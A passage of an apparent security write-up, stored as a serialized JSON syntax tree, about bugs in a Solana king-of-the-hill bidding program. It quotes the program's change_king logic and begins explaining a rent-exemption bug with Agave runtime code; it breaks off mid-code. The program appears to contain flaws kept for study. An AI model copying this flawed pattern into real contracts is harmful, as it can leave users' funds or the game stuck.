change_king",{"type":23,"tag":504,"props":70396,"children":70397},{"style":523},[70398],{"type":28,"value":526},{"type":23,"tag":504,"props":70400,"children":70401},{"style":529},[70402],{"type":28,"value":19262},{"type":23,"tag":504,"props":70404,"children":70405},{"style":598},[70406],{"type":28,"value":3472},{"type":23,"tag":504,"props":70408,"children":70409},{"style":1012},[70410],{"type":28,"value":19271},{"type":23,"tag":504,"props":70412,"children":70413},{"style":523},[70414],{"type":28,"value":4789},{"type":23,"tag":504,"props":70416,"children":70417},{"style":1012},[70418],{"type":28,"value":70419},"ChangeKing",{"type":23,"tag":504,"props":70421,"children":70422},{"style":523},[70423],{"type":28,"value":5614},{"type":23,"tag":504,"props":70425,"children":70426},{"style":529},[70427],{"type":28,"value":70428},"bid_amount",{"type":23,"tag":504,"props":70430,"children":70431},{"style":598},[70432],{"type":28,"value":3472},{"type":23,"tag":504,"props":70434,"children":70435},{"style":1012},[70436],{"type":28,"value":4843},{"type":23,"tag":504,"props":70438,"children":70439},{"style":523},[70440],{"type":28,"value":2064},{"type":23,"tag":504,"props":70442,"children":70443},{"style":598},[70444],{"type":28,"value":12738},{"type":23,"tag":504,"props":70446,"children":70447},{"style":1012},[70448],{"type":28,"value":12743},{"type":23,"tag":504,"props":70450,"children":70451},{"style":523},[70452],{"type":28,"value":19313},{"type":23,"tag":504,"props":70454,"children":70455},{"class":506,"line":1392},[70456],{"type":23,"tag":504,"props":70457,"children":70458},{"style":1106},[70459],{"type":28,"value":70460},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":504,"props":70462,"children":70463},{"class":506,"line":1400},[70464,70468,70472,70476,70480,70484,70488,70492,70496,70501,70505,70510,70514,70518],{"type":23,"tag":504,"props":70465,"children":70466},{"style":517},[70467],{"type":28,"value":63427},{"type":23,"tag":504,"props":70469,"children":70470},{"style":523},[70471],{"type":28,"value":526},{"type":23,"tag":504,"props":70473,"children":70474},{"style":529},[70475],{"type":28,"value":70428},{"type":23,"tag":504,"props":70477,"children":70478},{"style":598},[70479],{"type":28,"value":7285},{"type":23,"tag":504,"props":70481,"children":70482},{"style":529},[70483],{"type":28,"value":24823},{"type":23,"tag":504,"props":70485,"children":70486},{"style":598},[70487],{"type":28,"value":320},{"type":23,"tag":504,"props":70489,"children":70490},{"style":523},[70491],{"type":28,"value":13656},{"type":23,"tag":504,"props":70493,"children":70494},{"style":598},[70495],{"type":28,"value":320},{"type":23,"tag":504,"props":70497,"children":70498},{"style":523},[70499],{"type":28,"value":70500},"throne",{"type":23,"tag":504,"props":70502,"children":70503},{"style":598},[70504],{"type":28,"value":320},{"type":23,"tag":504,"props":70506,"children":70507},{"style":523},[70508],{"type":28,"value":70509},"last_bid_amount ",{"type":23,"tag":504,"props":70511,"children":70512},{"style":598},[70513],{"type":28,"value":3552},{"type":23,"tag":504,"props":70515,"children":70516},{"style":1440},[70517],{"type":28,"value":6917},{"type":23,"tag":504,"props":70519,"children":70520},{"style":523},[70521],{"type":28,"value":630},{"type":23,"tag":504,"props":70523,"children":70524},{"class":506,"line":1422},[70525,70530],{"type":23,"tag":504,"props":70526,"children":70527},{"style":517},[70528],{"type":28,"value":70529},"        transfer_from_signer",{"type":23,"tag":504,"props":70531,"children":70532},{"style":523},[70533],{"type":28,"value":2439},{"type":23,"tag":504,"props":70535,"children":70536},{"class":506,"line":1450},[70537,70541,70545,70549,70553,70557],{"type":23,"tag":504,"props":70538,"children":70539},{"style":598},[70540],{"type":28,"value":6668},{"type":23,"tag":504,"props":70542,"children":70543},{"style":529},[70544],{"type":28,"value":19262},{"type":23,"tag":504,"props":70546,"children":70547},{"style":598},[70548],{"type":28,"value":320},{"type":23,"tag":504,"props":70550,"children":70551},{"style":523},[70552],{"type":28,"value":13656},{"type":23,"tag":504,"props":70554,"children":70555},{"style":598},[70556],{"type":28,"value":320},{"type":23,"tag":504,"props":70558,"children":70559},{"style":523},[70560],{"type":28,"value":70561},"payer,\n",{"type":23,"tag":504,"props":70563,"children":70564},{"class":506,"line":1463},[70565,70569,70573,70577,70581,70585,70589,70593,70598],{"type":23,"tag":504,"props":70566,"children":70567},{"style":598},[70568],{"type":28,"value":6668},{"type":23,"tag":504,"props":70570,"children":70571},{"style":529},[70572],{"type":28,"value":19262},{"type":23,"tag":504,"props":70574,"children":70575},{"style":598},[70576],{"type":28,"value":320},{"type":23,"tag":504,"props":70578,"children":70579},{"style":523},[70580],{"type":28,"value":13656},{"type":23,"tag":504,"props":70582,"children":70583},{"style":598},[70584],{"type":28,"value":320},{"type":23,"tag":504,"props":70586,"children":70587},{"style":523},[70588],{"type":28,"value":70500},{"type":23,"tag":504,"props":70590,"children":70591},{"style":598},[70592],{"type":28,"value":320},{"type":23,"tag":504,"props":70594,"children":70595},{"style":517},[70596],{"type":28,"value":70597},"to_account_info",{"type":23,"tag":504,"props":70599,"children":70600},{"style":523},[70601],{"type":28,"value":2467},{"type":23,"tag":504,"props":70603,"children":70604},{"class":506,"line":1485},[70605,70610],{"type":23,"tag":504,"props":70606,"children":70607},{"style":529},[70608],{"type":28,"value":70609},"            bid_amount",{"type":23,"tag":504,"props":70611,"children":70612},{"style":523},[70613],{"type":28,"value":2484},{"type":23,"tag":504,"props":70615,"children":70616},{"class":506,"line":1503},[70617,70622,70626],{"type":23,"tag":504,"props":70618,"children":70619},{"style":523},[70620],{"type":28,"value":70621},"        )",{"type":23,"tag":504,"props":70623,"children":70624},{"style":598},[70625],{"type":28,"value":2133},{"type":23,"tag":504,"props":70627,"children":70628},{"style":523},[70629],{"type":28,"value":866},{"type":23,"tag":504,"props":70631,"children":70632},{"class":506,"line":1516},[70633],{"type":23,"tag":504,"props":70634,"children":70635},{"emptyLinePlaceholder":16},[70636],{"type":28,"value":1038},{"type":23,"tag":504,"props":70638,"children":70639},{"class":506,"line":1543},[70640],{"type":23,"tag":504,"props":70641,"children":70642},{"style":1106},[70643],{"type":28,"value":70644},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":504,"props":70646,"children":70647},{"class":506,"line":1583},[70648,70652,70657,70661,70665,70669,70673,70677,70681,70685,70689,70693,70697,70702,70706,70710,70715],{"type":23,"tag":504,"props":70649,"children":70650},{"style":511},[70651],{"type":28,"value":2041},{"type":23,"tag":504,"props":70653,"children":70654},{"style":529},[70655],{"type":28,"value":70656}," to_reimburse",{"type":23,"tag":504,"props":70658,"children":70659},{"style":598},[70660],{"type":28,"value":648},{"type":23,"tag":504,"props":70662,"children":70663},{"style":523},[70664],{"type":28,"value":801},{"type":23,"tag":504,"props":70666,"children":70667},{"style":529},[70668],{"type":28,"value":19262},{"type":23,"tag":504,"props":70670,"children":70671},{"style":598},[70672],{"type":28,"value":320},{"type":23,"tag":504,"props":70674,"children":70675},{"style":523},[70676],{"type":28,"value":13656},{"type":23,"tag":504,"props":70678,"children":70679},{"style":598},[70680],{"type":28,"value":320},{"type":23,"tag":504,"props":70682,"children":70683},{"style":523},[70684],{"type":28,"value":70500},{"type":23,"tag":504,"props":70686,"children":70687},{"style":598},[70688],{"type":28,"value":320},{"type":23,"tag":504,"props":70690,"children":70691},{"style":523},[70692],{"type":28,"value":70509},{"type":23,"tag":504,"props":70694,"children":70695},{"style":598},[70696],{"type":28,"value":3552},{"type":23,"tag":504,"props":70698,"children":70699},{"style":1440},[70700],{"type":28,"value":70701}," 9500",{"type":23,"tag":504,"props":70703,"children":70704},{"style":523},[70705],{"type":28,"value":2064},{"type":23,"tag":504,"props":70707,"children":70708},{"style":598},[70709],{"type":28,"value":3562},{"type":23,"tag":504,"props":70711,"children":70712},{"style":1440},[70713],{"type":28,"value":70714}," 10000",{"type":23,"tag":504,"props":70716,"children":70717},{"style":523},[70718],{"type":28,"value":866},{"type":23,"tag":504,"props":70720,"children":70721},{"class":506,"line":1605},[70722,70727],{"type":23,"tag":504,"props":70723,"children":70724},{"style":517},[70725],{"type":28,"value":70726},"        transfer_from_pda",{"type":23,"tag":504,"props":70728,"children":70729},{"style":523},[70730],{"type":28,"value":2439},{"type":23,"tag":504,"props":70732,"children":70733},{"class":506,"line":1614},[70734,70738,70742,70746,70750,70754,70758,70762,70766],{"type":23,"tag":504,"props":70735,"children":70736},{"style":598},[70737],{"type":28,"value":6668},{"type":23,"tag":504,"props":70739,"children":70740},{"style":529},[70741],{"type":28,"value":19262},{"type":23,"tag":504,"props":70743,"children":70744},{"style":598},[70745],{"type":28,"value":320},{"type":23,"tag":504,"props":70747,"children":70748},{"style":523},[70749],{"type":28,"value":13656},{"type":23,"tag":504,"props":70751,"children":70752},{"style":598},[70753],{"type":28,"value":320},{"type":23,"tag":504,"props":70755,"children":70756},{"style":523},[70757],{"type":28,"value":70500},{"type":23,"tag":504,"props":70759,"children":70760},{"style":598},[70761],{"type":28,"value":320},{"type":23,"tag":504,"props":70763,"children":70764},{"style":517},[70765],{"type":28,"value":70597},{"type":23,"tag":504,"props":70767,"children":70768},{"style":523},[70769],{"type":28,"value":2467},{"type":23,"tag":504,"props":70771,"children":70772},{"class":506,"line":1627},[70773,70777,70781,70785,70789,70793],{"type":23,"tag":504,"props":70774,"children":70775},{"style":598},[70776],{"type":28,"value":6668},{"type":23,"tag":504,"props":70778,"children":70779},{"style":529},[70780],{"type":28,"value":19262},{"type":23,"tag":504,"props":70782,"children":70783},{"style":598},[70784],{"type":28,"value":320},{"type":23,"tag":504,"props":70786,"children":70787},{"style":523},[70788],{"type":28,"value":13656},{"type":23,"tag":504,"props":70790,"children":70791},{"style":598},[70792],{"type":28,"value":320},{"type":23,"tag":504,"props":70794,"children":70795},{"style":523},[70796],{"type":28,"value":70797},"old_king,\n",{"type":23,"tag":504,"props":70799,"children":70800},{"class":506,"line":1655},[70801,70806],{"type":23,"tag":504,"props":70802,"children":70803},{"style":529},[70804],{"type":28,"value":70805},"            to_reimburse",{"type":23,"tag":504,"props":70807,"children":70808},{"style":523},[70809],{"type":28,"value":2484},{"type":23,"tag":504,"props":70811,"children":70812},{"class":506,"line":1668},[70813,70817,70821],{"type":23,"tag":504,"props":70814,"children":70815},{"style":523},[70816],{"type":28,"value":70621},{"type":23,"tag":504,"props":70818,"children":70819},{"style":598},[70820],{"type":28,"value":2133},{"type":23,"tag":504,"props":70822,"children":70823},{"style":523},[70824],{"type":28,"value":866},{"type":23,"tag":504,"props":70826,"children":70827},{"class":506,"line":1682},[70828],{"type":23,"tag":504,"props":70829,"children":70830},{"emptyLinePlaceholder":16},[70831],{"type":28,"value":1038},{"type":23,"tag":504,"props":70833,"children":70834},{"class":506,"line":1691},[70835],{"type":23,"tag":504,"props":70836,"children":70837},{"style":1106},[70838],{"type":28,"value":70839},"        // Set new king\n",{"type":23,"tag":504,"props":70841,"children":70842},{"class":506,"line":1699},[70843,70847,70851,70855,70859,70863,70867,70872,70876,70880,70884,70888,70892,70897,70901,70906],{"type":23,"tag":504,"props":70844,"children":70845},{"style":529},[70846],{"type":28,"value":25166},{"type":23,"tag":504,"props":70848,"children":70849},{"style":598},[70850],{"type":28,"value":320},{"type":23,"tag":504,"props":70852,"children":70853},{"style":523},[70854],{"type":28,"value":13656},{"type":23,"tag":504,"props":70856,"children":70857},{"style":598},[70858],{"type":28,"value":320},{"type":23,"tag":504,"props":70860,"children":70861},{"style":523},[70862],{"type":28,"value":70500},{"type":23,"tag":504,"props":70864,"children":70865},{"style":598},[70866],{"type":28,"value":320},{"type":23,"tag":504,"props":70868,"children":70869},{"style":523},[70870],{"type":28,"value":70871},"king ",{"type":23,"tag":504,"props":70873,"children":70874},{"style":598},[70875],{"type":28,"value":601},{"type":23,"tag":504,"props":70877,"children":70878},{"style":529},[70879],{"type":28,"value":24823},{"type":23,"tag":504,"props":70881,"children":70882},{"style":598},[70883],{"type":28,"value":320},{"type":23,"tag":504,"props":70885,"children":70886},{"style":523},[70887],{"type":28,"value":13656},{"type":23,"tag":504,"props":70889,"children":70890},{"style":598},[70891],{"type":28,"value":320},{"type":23,"tag":504,"props":70893,"children":70894},{"style":523},[70895],{"type":28,"value":70896},"new_king",{"type":23,"tag":504,"props":70898,"children":70899},{"style":598},[70900],{"type":28,"value":320},{"type":23,"tag":504,"props":70902,"children":70903},{"style":517},[70904],{"type":28,"value":70905},"key",{"type":23,"tag":504,"props":70907,"children":70908},{"style":523},[70909],{"type":28,"value":2647},{"type":23,"tag":504,"props":70911,"children":70912},{"class":506,"line":1708},[70913,70917,70921,70925,70929,70933,70937,70941,70945,70950],{"type":23,"tag":504,"props":70914,"children":70915},{"style":529},[70916],{"type":28,"value":25166},{"type":23,"tag":504,"props":70918,"children":70919},{"style":598},[70920],{"type":28,"value":320},{"type":23,"tag":504,"props":70922,"children":70923},{"style":523},[70924],{"type":28,"value":13656},{"type":23,"tag":504,"props":70926,"children":70927},{"style":598},[70928],{"type":28,"value":320},{"type":23,"tag":504,"props":70930,"children":70931},{"style":523},[70932],{"type":28,"value":70500},{"type":23,"tag":504,"props":70934,"children":70935},{"style":598},[70936],{"type":28,"value":320},{"type":23,"tag":504,"props":70938,"children":70939},{"style":523},[70940],{"type":28,"value":70509},{"type":23,"tag":504,"props":70942,"children":70943},{"style":598},[70944],{"type":28,"value":601},{"type":23,"tag":504,"props":70946,"children":70947},{"style":529},[70948],{"type":28,"value":70949}," bid_amount",{"type":23,"tag":504,"props":70951,"children":70952},{"style":523},[70953],{"type":28,"value":866},{"type":23,"tag":504,"props":70955,"children":70956},{"class":506,"line":1717},[70957,70961,70965,70969,70973,70977,70981,70986,70990,70995,70999,71003,71007,71011,71016,71020,71024],{"type":23,"tag":504,"props":70958,"children":70959},{"style":529},[70960],{"type":28,"value":25166},{"type":23,"tag":504,"props":70962,"children":70963},{"style":598},[70964],{"type":28,"value":320},{"type":23,"tag":504,"props":70966,"children":70967},{"style":523},[70968],{"type":28,"value":13656},{"type":23,"tag":504,"props":70970,"children":70971},{"style":598},[70972],{"type":28,"value":320},{"type":23,"tag":504,"props":70974,"children":70975},{"style":523},[70976],{"type":28,"value":70500},{"type":23,"tag":504,"props":70978,"children":70979},{"style":598},[70980],{"type":28,"value":320},{"type":23,"tag":504,"props":70982,"children":70983},{"style":523},[70984],{"type":28,"value":70985},"last_time ",{"type":23,"tag":504,"props":70987,"children":70988},{"style":598},[70989],{"type":28,"value":601},{"type":23,"tag":504,"props":70991,"children":70992},{"style":1012},[70993],{"type":28,"value":70994}," Clock",{"type":23,"tag":504,"props":70996,"children":70997},{"style":598},[70998],{"type":28,"value":2457},{"type":23,"tag":504,"props":71000,"children":71001},{"style":517},[71002],{"type":28,"value":15330},{"type":23,"tag":504,"props":71004,"children":71005},{"style":523},[71006],{"type":28,"value":12860},{"type":23,"tag":504,"props":71008,"children":71009},{"style":598},[71010],{"type":28,"value":2110},{"type":23,"tag":504,"props":71012,"children":71013},{"style":523},[71014],{"type":28,"value":71015},"unix_timestamp ",{"type":23,"tag":504,"props":71017,"children":71018},{"style":511},[71019],{"type":28,"value":7825},{"type":23,"tag":504,"props":71021,"children":71022},{"style":1012},[71023],{"type":28,"value":4843},{"type":23,"tag":504,"props":71025,"children":71026},{"style":523},[71027],{"type":28,"value":866},{"type":23,"tag":504,"props":71029,"children":71030},{"class":506,"line":1725},[71031],{"type":23,"tag":504,"props":71032,"children":71033},{"emptyLinePlaceholder":16},[71034],{"type":28,"value":1038},{"type":23,"tag":504,"props":71036,"children":71037},{"class":506,"line":1757},[71038,71042],{"type":23,"tag":504,"props":71039,"children":71040},{"style":1012},[71041],{"type":28,"value":13792},{"type":23,"tag":504,"props":71043,"children":71044},{"style":523},[71045],{"type":28,"value":13319},{"type":23,"tag":504,"props":71047,"children":71048},{"class":506,"line":1765},[71049],{"type":23,"tag":504,"props":71050,"children":71051},{"style":523},[71052],{"type":28,"value":875},{"type":23,"tag":504,"props":71054,"children":71055},{"class":506,"line":22762},[71056],{"type":23,"tag":504,"props":71057,"children":71058},{"style":523},[71059],{"type":28,"value":884},{"type":23,"tag":24,"props":71061,"children":71062},{},[71063],{"type":28,"value":71064},"Note this comment:",{"type":23,"tag":1909,"props":71066,"children":71067},{},[71068],{"type":23,"tag":24,"props":71069,"children":71070},{},[71071],{"type":28,"value":71072},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":71074,"children":71075},{},[71076],{"type":28,"value":71077},"...Is our assumption correct?",{"type":23,"tag":70,"props":71079,"children":71081},{"id":71080},"the-bugs-lurking-beneath",[71082],{"type":28,"value":71083},"The Bugs Lurking Beneath",{"type":23,"tag":82,"props":71085,"children":71087},{"id":71086},"bug-1-the-rent-exemption-trap",[71088],{"type":28,"value":71089},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":71091,"children":71092},{},[71093,71095,71100],{"type":28,"value":71094},"On Solana, all accounts must maintain a ",{"type":23,"tag":296,"props":71096,"children":71097},{},[71098],{"type":28,"value":71099},"minimum balance",{"type":28,"value":71101}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":350,"props":71103,"children":71104},{},[71105,71120],{"type":23,"tag":45,"props":71106,"children":71107},{},[71108,71113,71114],{"type":23,"tag":296,"props":71109,"children":71110},{},[71111],{"type":28,"value":71112},"Uninitialized",{"type":28,"value":14311},{"type":23,"tag":56,"props":71115,"children":71117},{"className":71116},[],[71118],{"type":28,"value":71119},"lamports = 0",{"type":23,"tag":45,"props":71121,"children":71122},{},[71123,71128,71129],{"type":23,"tag":296,"props":71124,"children":71125},{},[71126],{"type":28,"value":71127},"Initialized",{"type":28,"value":14311},{"type":23,"tag":56,"props":71130,"children":71132},{"className":71131},[],[71133],{"type":28,"value":71134},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":71136,"children":71137},{},[71138,71140,71145],{"type":28,"value":71139},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":296,"props":71141,"children":71142},{},[71143],{"type":28,"value":71144},"account metadata",{"type":28,"value":71146}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":71148,"children":71149},{},[71150,71152,71158],{"type":28,"value":71151},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":56,"props":71153,"children":71155},{"className":71154},[],[71156],{"type":28,"value":71157},"data.len() == 0",{"type":28,"value":71159}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":71161,"children":71162},{},[71163,71165,71171],{"type":28,"value":71164},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":92,"props":71166,"children":71169},{"href":71167,"rel":71168},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[96],[71170],{"type":28,"value":46564},{"type":28,"value":320},{"type":23,"tag":494,"props":71173,"children":71175},{"className":1957,"code":71174,"language":1956,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[71176],{"type":23,"tag":56,"props":71177,"children":71178},{"__ignoreMap":7},[71179,71263,71280,71326,71346,71367,71388,71403,71420,71464,71483,71504,71525,71541,71549,71582,71589,71596,71603,71610],{"type":23,"tag":504,"props":71180,"children":71181},{"class":506,"line":507},[71182,71187,71192,71196,71200,71204,71208,71213,71217,71221,71226,71230,71235,71239,71243,71247,71251,71255,71259],{"type":23,"tag":504,"props":71183,"children":71184},{"style":511},[71185],{"type":28,"value":71186},"    fn",{"type":23,"tag":504,"props":71188,"children":71189},{"style":517},[71190],{"type":28,"value":71191}," transition_allowed",{"type":23,"tag":504,"props":71193,"children":71194},{"style":523},[71195],{"type":28,"value":526},{"type":23,"tag":504,"props":71197,"children":71198},{"style":598},[71199],{"type":28,"value":2086},{"type":23,"tag":504,"props":71201,"children":71202},{"style":511},[71203],{"type":28,"value":12694},{"type":23,"tag":504,"props":71205,"children":71206},{"style":523},[71207],{"type":28,"value":576},{"type":23,"tag":504,"props":71209,"children":71210},{"style":529},[71211],{"type":28,"value":71212},"pre_rent_state",{"type":23,"tag":504,"props":71214,"children":71215},{"style":598},[71216],{"type":28,"value":3472},{"type":23,"tag":504,"props":71218,"children":71219},{"style":598},[71220],{"type":28,"value":6125},{"type":23,"tag":504,"props":71222,"children":71223},{"style":1012},[71224],{"type":28,"value":71225},"RentState",{"type":23,"tag":504,"props":71227,"children":71228},{"style":523},[71229],{"type":28,"value":576},{"type":23,"tag":504,"props":71231,"children":71232},{"style":529},[71233],{"type":28,"value":71234},"post_rent_state",{"type":23,"tag":504,"props":71236,"children":71237},{"style":598},[71238],{"type":28,"value":3472},{"type":23,"tag":504,"props":71240,"children":71241},{"style":598},[71242],{"type":28,"value":6125},{"type":23,"tag":504,"props":71244,"children":71245},{"style":1012},[71246],{"type":28,"value":71225},{"type":23,"tag":504,"props":71248,"children":71249},{"style":523},[71250],{"type":28,"value":2064},{"type":23,"tag":504,"props":71252,"children":71253},{"style":598},[71254],{"type":28,"value":12738},{"type":23,"tag":504,"props":71256,"children":71257},{"style":1012},[71258],{"type":28,"value":11032},{"type":23,"tag":504,"props":71260,"children":71261},{"style":523},[71262],{"type":28,"value":552},{"type":23,"tag":504,"props":71264,"children":71265},{"class":506,"line":540},[71266,71271,71276],{"type":23,"tag":504,"props":71267,"children":71268},{"style":544},[71269],{"type":28,"value":71270},"        match",{"type":23,"tag":504,"props":71272,"children":71273},{"style":529},[71274],{"type":28,"value":71275}," post_rent_state",{"type":23,"tag":504,"props":71277,"children":71278},{"style":523},[71279],{"type":28,"value":552},{"type":23,"tag":504,"props":71281,"children":71282},{"class":506,"line":555},[71283,71288,71292,71296,71300,71305,71309,71314,71318,71322],{"type":23,"tag":504,"props":71284,"children":71285},{"style":1012},[71286],{"type":28,"value":71287},"            RentState",{"type":23,"tag":504,"props":71289,"children":71290},{"style":598},[71291],{"type":28,"value":2457},{"type":23,"tag":504,"props":71293,"children":71294},{"style":1012},[71295],{"type":28,"value":71112},{"type":23,"tag":504,"props":71297,"children":71298},{"style":598},[71299],{"type":28,"value":3250},{"type":23,"tag":504,"props":71301,"children":71302},{"style":1012},[71303],{"type":28,"value":71304}," RentState",{"type":23,"tag":504,"props":71306,"children":71307},{"style":598},[71308],{"type":28,"value":2457},{"type":23,"tag":504,"props":71310,"children":71311},{"style":1012},[71312],{"type":28,"value":71313},"RentExempt",{"type":23,"tag":504,"props":71315,"children":71316},{"style":598},[71317],{"type":28,"value":26733},{"type":23,"tag":504,"props":71319,"children":71320},{"style":511},[71321],{"type":28,"value":1750},{"type":23,"tag":504,"props":71323,"children":71324},{"style":523},[71325],{"type":28,"value":2484},{"type":23,"tag":504,"props":71327,"children":71328},{"class":506,"line":633},[71329,71333,71337,71342],{"type":23,"tag":504,"props":71330,"children":71331},{"style":1012},[71332],{"type":28,"value":71287},{"type":23,"tag":504,"props":71334,"children":71335},{"style":598},[71336],{"type":28,"value":2457},{"type":23,"tag":504,"props":71338,"children":71339},{"style":1012},[71340],{"type":28,"value":71341},"RentPaying",{"type":23,"tag":504,"props":71343,"children":71344},{"style":523},[71345],{"type":28,"value":552},{"type":23,"tag":504,"props":71347,"children":71348},{"class":506,"line":687},[71349,71354,71358,71363],{"type":23,"tag":504,"props":71350,"children":71351},{"style":529},[71352],{"type":28,"value":71353},"                data_size",{"type":23,"tag":504,"props":71355,"children":71356},{"style":598},[71357],{"type":28,"value":3472},{"type":23,"tag":504,"props":71359,"children":71360},{"style":529},[71361],{"type":28,"value":71362}," post_data_size",{"type":23,"tag":504,"props":71364,"children":71365},{"style":523},[71366],{"type":28,"value":2484},{"type":23,"tag":504,"props":71368,"children":71369},{"class":506,"line":736},[71370,71375,71379,71384],{"type":23,"tag":504,"props":71371,"children":71372},{"style":529},[71373],{"type":28,"value":71374},"                lamports",{"type":23,"tag":504,"props":71376,"children":71377},{"style":598},[71378],{"type":28,"value":3472},{"type":23,"tag":504,"props":71380,"children":71381},{"style":529},[71382],{"type":28,"value":71383}," post_lamports",{"type":23,"tag":504,"props":71385,"children":71386},{"style":523},[71387],{"type":28,"value":2484},{"type":23,"tag":504,"props":71389,"children":71390},{"class":506,"line":785},[71391,71395,71399],{"type":23,"tag":504,"props":71392,"children":71393},{"style":523},[71394],{"type":28,"value":1200},{"type":23,"tag":504,"props":71396,"children":71397},{"style":598},[71398],{"type":28,"value":13802},{"type":23,"tag":504,"props":71400,"children":71401},{"style":523},[71402],{"type":28,"value":552},{"type":23,"tag":504,"props":71404,"children":71405},{"class":506,"line":813},[71406,71411,71416],{"type":23,"tag":504,"props":71407,"children":71408},{"style":544},[71409],{"type":28,"value":71410},"                match",{"type":23,"tag":504,"props":71412,"children":71413},{"style":529},[71414],{"type":28,"value":71415}," pre_rent_state",{"type":23,"tag":504,"props":71417,"children":71418},{"style":523},[71419],{"type":28,"value":552},{"type":23,"tag":504,"props":71421,"children":71422},{"class":506,"line":851},[71423,71428,71432,71436,71440,71444,71448,71452,71456,71460],{"type":23,"tag":504,"props":71424,"children":71425},{"style":1012},[71426],{"type":28,"value":71427},"                    RentState",{"type":23,"tag":504,"props":71429,"children":71430},{"style":598},[71431],{"type":28,"value":2457},{"type":23,"tag":504,"props":71433,"children":71434},{"style":1012},[71435],{"type":28,"value":71112},{"type":23,"tag":504,"props":71437,"children":71438},{"style":598},[71439],{"type":28,"value":3250},{"type":23,"tag":504,"props":71441,"children":71442},{"style":1012},[71443],{"type":28,"value":71304},{"type":23,"tag":504,"props":71445,"children":71446},{"style":598},[71447],{"type":28,"value":2457},{"type":23,"tag":504,"props":71449,"children":71450},{"style":1012},[71451],{"type":28,"value":71313},{"type":23,"tag":504,"props":71453,"children":71454},{"style":598},[71455],{"type":28,"value":26733},{"type":23,"tag":504,"props":71457,"children":71458},{"style":511},[71459],{"type":28,"value":8041},{"type":23,"tag":504,"props":71461,"children":71462},{"style":523},[71463],{"type":28,"value":2484},{"type":23,"tag":504,"props":71465,"children":71466},{"class":506,"line":869},[71467,71471,71475,71479],{"type":23,"tag":504,"props":71468,"children":71469},{"style":1012},[71470],{"type":28,"value":71427},{"type":23,"tag":504,"props":71472,"children":71473},{"style":598},[71474],{"type":28,"value":2457},{"type":23,"tag":504,"props":71476,"children":71477},{"style":1012},[71478],{"type":28,"value":71341},{"type":23,"tag":504,"props":71480,"children":71481},{"style":523},[71482],{"type":28,"value":552},{"type":23,"tag":504,"props":71484,"children":71485},{"class":506,"line":878},[71486,71491,71495,71500],{"type":23,"tag":504,"props":71487,"children":71488},{"style":529},[71489],{"type":28,"value":71490},"                        data_size",{"type":23,"tag":504,"props":71492,"children":71493},{"style":598},[71494],{"type":28,"value":3472},{"type":23,"tag":504,"props":71496,"children":71497},{"style":529},[71498],{"type":28,"value":71499}," pre_data_size",{"type":23,"tag":504,"props":71501,"children":71502},{"style":523},[71503],{"type":28,"value":2484},{"type":23,"tag":504,"props":71505,"children":71506},{"class":506,"line":1221},[71507,71512,71516,71521],{"type":23,"tag":504,"props":71508,"children":71509},{"style":529},[71510],{"type":28,"value":71511},"                        lamports",{"type":23,"tag":504,"props":71513,"children":71514},{"style":598},[71515],{"type":28,"value":3472},{"type":23,"tag":504,"props":71517,"children":71518},{"style":529},[71519],{"type":28,"value":71520}," pre_lamports",{"type":23,"tag":504,"props":71522,"children":71523},{"style":523},[71524],{"type":28,"value":2484},{"type":23,"tag":504,"props":71526,"children":71527},{"class":506,"line":1276},[71528,71533,71537],{"type":23,"tag":504,"props":71529,"children":71530},{"style":523},[71531],{"type":28,"value":71532},"                    } ",{"type":23,"tag":504,"props":71534,"children":71535},{"style":598},[71536],{"type":28,"value":13802},{"type":23,"tag":504,"props":71538,"children":71539},{"style":523},[71540],{"type":28,"value":552},{"type":23,"tag":504,"props":71542,"children":71543},{"class":506,"line":1285},[71544],{"type":23,"tag":504,"props":71545,"children":71546},{"style":1106},[71547],{"type":28,"value":71548},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":504,"props":71550,"children":71551},{"class":506,"line":1294},[71552,71557,71561,71565,71569,71573,71577],{"type":23,"tag":504,"props":71553,"children":71554},{"style":529},[71555],{"type":28,"value":71556},"                        post_data_size",{"type":23,"tag":504,"props":71558,"children":71559},{"style":598},[71560],{"type":28,"value":2260},{"type":23,"tag":504,"props":71562,"children":71563},{"style":529},[71564],{"type":28,"value":71499},{"type":23,"tag":504,"props":71566,"children":71567},{"style":598},[71568],{"type":28,"value":13166},{"type":23,"tag":504,"props":71570,"children":71571},{"style":529},[71572],{"type":28,"value":71383},{"type":23,"tag":504,"props":71574,"children":71575},{"style":598},[71576],{"type":28,"value":7180},{"type":23,"tag":504,"props":71578,"children":71579},{"style":529},[71580],{"type":28,"value":71581}," 